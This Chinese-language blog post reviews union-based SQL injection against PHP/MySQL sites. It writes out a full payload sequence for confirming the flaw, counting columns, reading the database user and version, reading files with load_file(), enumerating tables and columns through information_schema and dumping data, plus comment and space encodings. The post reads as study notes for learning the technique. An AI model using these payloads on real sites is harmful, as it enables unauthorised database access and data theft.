zoukankan      html  css  js  c++  java
  • SQL注入(一)普通型注入

    既然说了从头开始,先从注入开始吧,先来温习一下之前会的一些注入。

    PHP注入

    0x01:

    判断是否存在注入:

    '   报错      

    ' and 1=1   正确

    ' and 1=2   错误

    0x01:

    order by X  X表示整数,判断数据库共有多少个字段

    ' and 1=2 union select 1,2,3...  //列出所有字段,看页面上显示哪些字段,换成我么你想查询的数据

    ' and 1=2 union select 1,user(),3... //网页上显示2的地方换显示数据库用户用户名

    这儿user()可换成:

                     database()    当前数据库

                     @@datadir   数据库地址

                      version()    数据库版本

                      load_file()    读取指定文件

                    。。。。。

    ' and 1=2 union select 1,TABLE_NAME,3 from information_schema.tables where TABLE_SCHEMA=database() limit 0,1 //爆表名

    ' and 1=2 union select 1,COLUMN_NAME,3 from information_schema.columns where TABLE_NAME=table_name limit 0,1   //爆列名

    ' and 1=2 union select  1, column,3 from table  //爆数据

      注意事项:

    注入中有时候需要注释部分语句,可以用

    #  %23

    +--+  //+表示链接,

    空格可用%20

  • 相关阅读:
    Redis安装与配置
    Mysql主从复制
    MySQL的基本使用
    如何理解 python 里面的 for 循环
    我在创业公司的 “云原生” 之旅
    linux 安装 kafka
    数据库性能优化
    Shell 中各种括号的作用
    DNS 配置实例-正反解析-主从同步-分离解析
    DHCP 中继转发配置(ensp 实现)
  • 原文地址:https://www.cnblogs.com/iDerr/p/4513307.html
Copyright © 2011-2022 走看看